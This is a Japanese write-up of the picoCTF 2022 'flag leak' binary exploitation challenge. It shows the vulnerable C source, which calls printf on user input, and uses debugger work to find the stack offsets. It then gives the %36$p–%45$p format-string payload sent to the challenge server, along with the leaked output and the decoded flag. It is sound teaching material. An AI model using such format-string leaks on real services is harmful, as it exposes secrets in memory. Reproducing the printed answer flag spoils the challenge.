picoCTF 2022 writeup flag leak

## flag leak (Bianry Exploitation)

Story telling class 1/2 
I'm just copying and pasting with this program. What can go wrong? You can view source here. And connect with it using: 
`nc saturn.picoctf.net 52043`

添付ファイル
・vuln
・vuln.c

とりあえず、実行してみる。
```
$ nc saturn.picoctf.net 52043
Tell me a story and then I'll tell you one >> %p%p%p%p%p%p%p%p%p%p
Here's a story - 
0xff81f0900xff81f0b00x80493460x702570250x702570250x702570250x702570250x702570250xffffff00(nil)
```
ソースコードを確認する。
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <wchar.h>
#include <locale.h>

#define BUFSIZE 64
#define FLAGSIZE 64

void readflag(char* buf, size_t len) {
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    exit(0);
  }

  fgets(buf,len,f); // size bound read
}

void vuln(){
   char flag[BUFSIZE];
   char story[128];

   readflag(flag, FLAGSIZE);

   printf("Tell me a story and then I'll tell you one >> ");
   scanf("%127s", story);
   printf("Here's a story - \n");
   printf(story);
   printf("\n");
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  vuln();
  return 0;
}
```
printf(story)のstoryのアドレスからreadflag(flag, FLAGSIZE)のflagのアドレスまでの差分をとて、%n$pでflagの内容を出力する。
```
$ checksec vuln
[*] Checking for new versions of pwntools
    To disable this functionality, set the contents of /home/colza-picoctf/.cache/.pwntools-cache-3.10/update to 'never' (old way).
    Or add the following lines to ~/.pwn.conf or ~/.config/pwn.conf (or /etc/pwn.conf system-wide):
        [update]
        interval=never
[*] You have the latest version of Pwntools (4.13.1)
[*] '/home/colza-picoctf/vuln'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
```
storyのアドレスを探す。
```
 804939d:       8d 85 38 ff ff ff       lea    eax,[ebp-0xc8]
 80493a3:       50                      push   eax
 80493a4:       e8 47 fd ff ff          call   80490f0 <printf@plt>
```
```
   0x8049392 <vuln+95>     call   puts@plt                    <puts@plt>

   0x8049397 <vuln+100>    add    esp, 0x10             ESP => 0xffffced0 (0xffffcec0 + 0x10)
   0x804939a <vuln+103>    sub    esp, 0xc              ESP => 0xffffcec4 (0xffffced0 - 0xc)
 ► 0x804939d <vuln+106>    lea    eax, [ebp - 0xc8]     EAX => 0xffffced0 ◂— 'aaaaaaaaaaaaaaaaaaaaa'
```
storyのアドレスが0xffffced0と分かる。
flagのアドレスを探す。
```
   0x0804934f <+28>:    push   0x40
   0x08049351 <+30>:    lea    eax,[ebp-0x48]
   0x08049354 <+33>:    push   eax
   0x08049355 <+34>:    call   0x80492b6 <readflag>
```
```
   0x08049318 <+98>:    mov    eax,DWORD PTR [ebp+0xc]
   0x0804931b <+101>:   sub    esp,0x4
   0x0804931e <+104>:   push   DWORD PTR [ebp-0xc]
   0x08049321 <+107>:   push   eax
   0x08049322 <+108>:   push   DWORD PTR [ebp+0x8]
   0x08049325 <+111>:   call   0x8049100 <fgets@plt>
```
```
───────────────────────────────────────────[ DISASM / i386 / set emulate on ]───────────────────────────────────────────
 ► 0x8049351 <vuln+30>    lea    eax, [ebp - 0x48]     EAX => 0xffffcf50 —▸ 0xffffcfb8 —▸ 0xf7ffd020 (_rtld_global) ◂— ...
   0x8049354 <vuln+33>    push   eax
   0x8049355 <vuln+34>    call   readflag                    <readflag>
```
```
 ► 0x8049351 <vuln+30>    lea    eax, [ebp - 0x48]     EAX => 0xffffcf50 —▸ 0xffffcfb8 —▸ 0xf7ffd020 (_rtld_global) ◂— ...
   0x8049354 <vuln+33>    push   eax
   0x8049355 <vuln+34>    call   readflag                    <readflag>
```
flagのアドレスが0xffffcf50と分かる。
0xffffcf50-0xffffced0=0x80
32bitであることに留意すると、0x80分のoffsetは`0x80/0x4=0x20=32`である。入力からstoryまでのoffsetが4であり、FLAGSIZEが64であるから36~45を出力させれば良い。
```
$ nc saturn.picoctf.net 52043
Tell me a story and then I'll tell you one >>  %36$p%37$p%38$p%39$p%40$p%41$p%42$p%43$p%44$p%45$p
Here's a story - 
0x6f6369700x7b4654430x6b34334c0x5f676e310x67346c460x6666305f0x3474535f0x395f6b630x326539390x7d343238
```
これをcyberchefでFrom HEXする。
```
ocip{FTCk43L_gn1g4lFff0_4tS_9_kc2e99}428
```
並び替える。
フラグが得られた。
`picoCTF{L34k1ng_Fl4g_0ff_St4ck_999e2824}`

## Reference

https://medium.com/@0xwan/picoctf-2022-flag-leak-writeup-binary-exploitation-8d5194fb36f0